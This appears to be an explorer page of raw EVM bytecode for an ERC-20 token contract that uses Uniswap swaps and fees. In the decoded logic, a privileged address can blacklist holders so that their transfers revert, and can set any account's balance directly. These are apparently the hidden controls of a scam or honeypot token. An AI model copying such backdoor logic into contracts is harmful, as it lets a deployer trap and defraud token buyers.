0405180910390fd5b809150505b92915050565b6000611f1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f83565b905092915050565b6000808284611f3491906126f8565b905083811015611f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7090612573565b60405180910390fd5b8091505092915050565b60008083118290611fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc191906124f1565b60405180910390fd5b5060008385611fd9919061274e565b9050809150509392505050565b600081359050611ff581612e03565b92915050565b60008151905061200a81612e03565b92915050565b60008083601f84011261202657612025612bcb565b5b8235905067ffffffffffffffff81111561204357612042612bc6565b5b60208301915083602082028301111561205f5761205e612bd0565b5b9250929050565b60008135905061207581612e1a565b92915050565b60008135905061208a81612e31565b92915050565b6000602082840312156120a6576120a5612bda565b5b60006120b484828501611fe6565b91505092915050565b6000602082840312156120d3576120d2612bda565b5b60006120e184828501611ffb565b91505092915050565b6000806040838503121561210157612100612bda565b5b600061210f85828601611fe6565b925050602061212085828601611fe6565b9150509250929050565b60008060006060848603121561214357612142612bda565b5b600061215186828701611fe6565b935050602061216286828701611fe6565b92505060406121738682870161207b565b9150509250925092565b6000806040838503121561219457612193612bda565b5b60006121a285828601611fe6565b92505060206121b38582860161207b565b9150509250929050565b6000806000604084860312156121d6576121d5612bda565b5b600084013567ffffffffffffffff8111156121f4576121f3612bd5565b5b61220086828701612010565b9350935050602061221386828701612066565b9150509250925092565b60006122298383612244565b60208301905092915050565b61223e81612990565b82525050565b61224d8161297e565b82525050565b61225c8161297e565b82525050565b600061226d826126b3565b61227781856126d6565b9350612282836126a3565b8060005b838110156122b357815161229a888261221d565b97506122a5836126c9565b925050600181019050612286565b5085935050505092915050565b6122c9816129a2565b82525050565b6122d8816129e5565b82525050565b6122e7816129f7565b82525050565b60006122f8826126be565b61230281856126e7565b9350612312818560208601612a2d565b61231b81612bdf565b840191505092915050565b60006123336023836126e7565b915061233e82612bfd565b604082019050919050565b60006123566012836126e7565b915061236182612c4c565b602082019050919050565b60006123796022836126e7565b915061238482612c75565b604082019050919050565b600061239c601b836126e7565b91506123a782612cc4565b602082019050919050565b60006123bf6021836126e7565b91506123ca82612ced565b604082019050919050565b60006123e26020836126e7565b91506123ed82612d3c565b602082019050919050565b60006124056025836126e7565b915061241082612d65565b604082019050919050565b60006124286024836126e7565b915061243382612db4565b604082019050919050565b612447816129ce565b82525050565b612456816129d8565b82525050565b60006020820190506124716000830184612253565b92915050565b600060208201905061248c6000830184612235565b92915050565b60006040820190506124a76000830185612253565b6124b46020830184612253565b9392505050565b60006020820190506124d060008301846122c0565b92915050565b60006020820190506124eb60008301846122cf565b92915050565b6000602082019050818103600083015261250b81846122ed565b905092915050565b6000602082019050818103600083015261252c81612326565b9050919050565b6000602082019050818103600083015261254c81612349565b9050919050565b6000602082019050818103600083015261256c8161236c565b9050919050565b6000602082019050818103600083015261258c8161238f565b9050919050565b600060208201905081810360008301526125ac816123b2565b9050919050565b600060208201905081810360008301526125cc816123d5565b9050919050565b600060208201905081810360008301526125ec816123f8565b9050919050565b6000602082019050818103600083015261260c8161241b565b9050919050565b6000602082019050612628600083018461243e565b92915050565b600060a082019050612643600083018861243e565b61265060208301876122de565b81810360408301526126628186612262565b90506126716060830185612253565b61267e608083018461243e565b9695505050505050565b600060208201905061269d600083018461244d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612703826129ce565b915061270e836129ce565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274357612742612adb565b5b828201905092915050565b6000612759826129ce565b9150612764836129ce565b92508261277457612773612b0a565b5b828204905092915050565b6000808291508390505b60018511156127c9578086048111156127a5576127a4612adb565b5b60018516156127b45780820291505b80810290506127c285612bf0565b9450612789565b94509492505050565b60006127dd826129ce565b91506127e8836129ce565b92506128157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281d565b905092915050565b60008261282d57600190506128e9565b8161283b57600090506128e9565b8160018114612851576002811461285b5761288a565b60019150506128e9565b60ff84111561286d5761286c612adb565b5b8360020a91508482111561288457612883612adb565b5b506128e9565b5060208310610133831016604e8410600b84101617156128bf5782820a9050838111156128ba576128b9612adb565b5b6128e9565b6128cc848484600161277f565b925090508184048111156128e3576128e2612adb565b5b81810290505b9392505050565b60006128fb826129ce565b9150612906836129ce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561293f5761293e612adb565b5b828202905092915050565b6000612955826129ce565b9150612960836129ce565b92508282101561297357612972612adb565b5b828203905092915050565b6000612989826129ae565b9050919050565b600061299b826129ae565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129f082612a09565b9050919050565b6000612a02826129ce565b9050919050565b6000612a1482612a1b565b9050919050565b6000612a26826129ae565b9050919050565b60005b83811015612a4b578082015181840152602081019050612a30565b83811115612a5a576000848401525b50505050565b60006002820490506001821680612a7857607f821691505b60208210811415612a8c57612a8b612b39565b5b50919050565b6000612a9d826129ce565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ad057612acf612adb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612e0c8161297e565b8114612e1757600080fd5b50565b612e23816129a2565b8114612e2e57600080fd5b50565b612e3a816129ce565b8114612e4557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078b2701dc3262a89c890b78c826fd3b78fb612179eb32cf42e8b29286b65026e64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063c54e44eb1161006f578063c54e44eb1461045b578063c5d2418914610486578063c816841b146104b1578063c8607952146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b80638da5cb5b1461037657806395d89b41146103a15780639a66989c146103cc578063a9059cbb146103f5578063b885cc2e1461043257610140565b806323b872dd116100fd57806323b872dd14610240578063313ce5671461027d5780633345611e146102a85780633ecad271146102e5578063683e865c1461032257806370a082311461033957610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631d231b2c1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b60405161016791906124f1565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061217d565b6105ff565b6040516101a491906124bb565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf91906124d6565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa9190612613565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612090565b61064d565b60405161023791906124bb565b60405180910390f35b34801561024c57600080fd5b506102676004803603810190610262919061212a565b61066d565b60405161027491906124bb565b60405180910390f35b34801561028957600080fd5b50610292610747565b60405161029f9190612688565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190612090565b61075e565b6040516102dc91906124bb565b60405180910390f35b3480156102f157600080fd5b5061030c60048036038101906103079190612090565b61077e565b60405161031991906124bb565b60405180910390f35b34801561032e57600080fd5b5061033761079e565b005b34801561034557600080fd5b50610360600480360381019061035b9190612090565b610b76565b60405161036d9190612613565b60405180910390f35b34801561038257600080fd5b5061038b610bbf565b604051610398919061245c565b60405180910390f35b3480156103ad57600080fd5b506103b6610be8565b6040516103c391906124f1565b60405180910390f35b3480156103d857600080fd5b506103f360048036038101906103ee91906121bd565b610c7a565b005b34801561040157600080fd5b5061041c6004803603810190610417919061217d565b610d7b565b60405161042991906124bb565b60405180910390f35b34801561043e57600080fd5b506104596004803603810190610454919061217d565b610d9a565b005b34801561046757600080fd5b50610470610e56565b60405161047d9190612477565b60405180910390f35b34801561049257600080fd5b5061049b610e7c565b6040516104a89190612613565b60405180910390f35b3480156104bd57600080fd5b506104c6610e82565b6040516104d3919061245c565b60405180910390f35b3480156104e857600080fd5b506104f1610ea8565b6040516104fe9190612613565b60405180910390f35b34801561051357600080fd5b5061052e600480360381019061052991906120ea565b610eae565b60405161053b9190612613565b60405180910390f35b34801561055057600080fd5b5061056b60048036038101906105669190612090565b610f35565b005b60606001805461057c90612a60565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612a60565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c611087565b848461108f565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600061067a84848461125a565b5061073c84610687611087565b61073785604051806060016040528060288152602001612e4960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed611087565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118db9092919063ffffffff16565b61108f565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6107a6611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a906125b3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089257600080fd5b505afa1580156108a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ca91906120bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092c57600080fd5b505afa158015610940573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096491906120bd565b6040518363ffffffff1660e01b8152600401610981929190612492565b602060405180830381600087803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d391906120bd565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bf790612a60565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2390612a60565b8015610c705780601f10610c4557610100808354040283529160200191610c70565b820191906000526020600020905b815481529060010190602001808311610c5357829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610cd557600080fd5b60005b84849050811015610d74578260086000878785818110610cfb57610cfa612b68565b5b9050602002016020810190610d109190612090565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d6c90612a92565b915050610cd8565b5050505050565b6000610d8f610d88611087565b848461125a565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610df557600080fd5b600a82600a610e0491906127d2565b610e0e91906126f8565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f3d611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc1906125b3565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f6906125f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612553565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124d9190612613565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c2906125d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290612513565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf90612533565b60405180910390fd5b600d60149054906101000a900460ff16156113ef576113e884848461193f565b90506118d4565b60006113fa30610b76565b9050600d60149054906101000a900460ff161580156114635750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114725761147181611b12565b5b6114c483600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115aa5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115b7578390506117d3565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163a57611633606461162560095488611e6090919063ffffffff16565b611edb90919063ffffffff16565b90506116b8565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116b7576116b460646116a6600a5488611e6090919063ffffffff16565b611edb90919063ffffffff16565b90505b5b60008111156117bc5761171381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117b39190612613565b60405180910390a35b6117cf8186611e1690919063ffffffff16565b9150505b61182581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118c59190612613565b60405180910390a36001925050505b9392505050565b6000838311158290611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a91906124f1565b60405180910390fd5b5060008385611932919061294a565b9050809150509392505050565b60006119ca826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118db9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aff9190612613565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b4a57611b49612b97565b5b604051908082528060200260200182016040528015611b785781602001602082028036833780820191505090505b5090503081600081518110611b9057611b8f612b68565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3257600080fd5b505afa158015611c46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6a91906120bd565b81600181518110611c7e57611c7d612b68565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ce530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461108f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d4995949392919061262e565b600060405180830381600087803b158015611d6357600080fd5b505af1925050508015611d74575060015b611d7d57611d7e565b5b60004790506000811115611df657600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df4573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b6000611e5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118db565b905092915050565b600080831415611e735760009050611ed5565b60008284611e8191906128f0565b9050828482611e90919061274e565b14611ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec790612593565b60405180910390fd5b809150505b92915050565b6000611f1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f83565b905092915050565b6000808284611f3491906126f8565b905083811015611f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7090612573565b60405180910390fd5b8091505092915050565b60008083118290611fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc191906124f1565b60405180910390fd5b5060008385611fd9919061274e565b9050809150509392505050565b600081359050611ff581612e03565b92915050565b60008151905061200a81612e03565b92915050565b60008083601f84011261202657612025612bcb565b5b8235905067ffffffffffffffff81111561204357612042612bc6565b5b60208301915083602082028301111561205f5761205e612bd0565b5b9250929050565b60008135905061207581612e1a565b92915050565b60008135905061208a81612e31565b92915050565b6000602082840312156120a6576120a5612bda565b5b60006120b484828501611fe6565b91505092915050565b6000602082840312156120d3576120d2612bda565b5b60006120e184828501611ffb565b91505092915050565b6000806040838503121561210157612100612bda565b5b600061210f85828601611fe6565b925050602061212085828601611fe6565b9150509250929050565b60008060006060848603121561214357612142612bda565b5b600061215186828701611fe6565b935050602061216286828701611fe6565b92505060406121738682870161207b565b9150509250925092565b6000806040838503121561219457612193612bda565b5b60006121a285828601611fe6565b92505060206121b38582860161207b565b9150509250929050565b6000806000604084860312156121d6576121d5612bda565b5b600084013567ffffffffffffffff8111156121f4576121f3612bd5565b5b61220086828701612010565b9350935050602061221386828701612066565b9150509250925092565b60006122298383612244565b60208301905092915050565b61223e81612990565b82525050565b61224d8161297e565b82525050565b61225c8161297e565b82525050565b600061226d826126b3565b61227781856126d6565b9350612282836126a3565b8060005b838110156122b357815161229a888261221d565b97506122a5836126c9565b925050600181019050612286565b5085935050505092915050565b6122c9816129a2565b82525050565b6122d8816129e5565b82525050565b6122e7816129f7565b82525050565b60006122f8826126be565b61230281856126e7565b9350612312818560208601612a2d565b61231b81612bdf565b840191505092915050565b60006123336023836126e7565b915061233e82612bfd565b604082019050919050565b60006123566012836126e7565b915061236182612c4c565b602082019050919050565b60006123796022836126e7565b915061238482612c75565b604082019050919050565b600061239c601b836126e7565b91506123a782612cc4565b602082019050919050565b60006123bf6021836126e7565b91506123ca82612ced565b604082019050919050565b60006123e26020836126e7565b91506123ed82612d3c565b602082019050919050565b60006124056025836126e7565b915061241082612d65565b604082019050919050565b60006124286024836126e7565b915061243382612db4565b604082019050919050565b612447816129ce565b82525050565b612456816129d8565b82525050565b60006020820190506124716000830184612253565b92915050565b600060208201905061248c6000830184612235565b92915050565b60006040820190506124a76000830185612253565b6124b46020830184612253565b9392505050565b60006020820190506124d060008301846122c0565b92915050565b60006020820190506124eb60008301846122cf565b92915050565b6000602082019050818103600083015261250b81846122ed565b905092915050565b6000602082019050818103600083015261252c81612326565b9050919050565b6000602082019050818103600083015261254c81612349565b9050919050565b6000602082019050818103600083015261256c8161236c565b9050919050565b6000602082019050818103600083015261258c8161238f565b9050919050565b600060208201905081810360008301526125ac816123b2565b9050919050565b600060208201905081810360008301526125cc816123d5565b9050919050565b600060208201905081810360008301526125ec816123f8565b9050919050565b6000602082019050818103600083015261260c8161241b565b9050919050565b6000602082019050612628600083018461243e565b92915050565b600060a082019050612643600083018861243e565b61265060208301876122de565b81810360408301526126628186612262565b90506126716060830185612253565b61267e608083018461243e565b9695505050505050565b600060208201905061269d600083018461244d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612703826129ce565b915061270e836129ce565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274357612742612adb565b5b828201905092915050565b6000612759826129ce565b9150612764836129ce565b92508261277457612773612b0a565b5b828204905092915050565b6000808291508390505b60018511156127c9578086048111156127a5576127a4612adb565b5b60018516156127b45780820291505b80810290506127c285612bf0565b9450612789565b94509492505050565b60006127dd826129ce565b91506127e8836129ce565b92506128157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281d565b905092915050565b60008261282d57600190506128e9565b8161283b57600090506128e9565b8160018114612851576002811461285b5761288a565b60019150506128e9565b60ff84111561286d5761286c612adb565b5b8360020a91508482111561288457612883612adb565b5b506128e9565b5060208310610133831016604e8410600b84101617156128bf5782820a9050838111156128ba576128b9612adb565b5b6128e9565b6128cc848484600161277f565b925090508184048111156128e3576128e2612adb565b5b81810290505b9392505050565b60006128fb826129ce565b9150612906836129ce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561293f5761293e612adb565b5b828202905092915050565b6000612955826129ce565b9150612960836129ce565b92508282101561297357612972612adb565b5b828203905092915050565b6000612989826129ae565b9050919050565b600061299b826129ae565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129f082612a09565b9050919050565b6000612a02826129ce565b9050919050565b6000612a1482612a1b565b9050919050565b6000612a26826129ae565b9050919050565b60005b83811015612a4b578082015181840152602081019050612a30565b83811115612a5a576000848401525b50505050565b60006002820490506001821680612a7857607f821691505b60208210811415612a8c57612a8b612b39565b5b50919050565b6000612a9d826129ce565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ad057612acf612adb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612e0c8161297e565b8114612e1757600080fd5b50565b612e23816129a2565b8114612e2e57600080fd5b50565b612e3a816129ce565b8114612e4557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078b2701dc3262a89c890b78c826fd3b78fb612179eb32cf42e8b29286b65026e64736f6c63430008070033

Deployed Bytecode Sourcemap

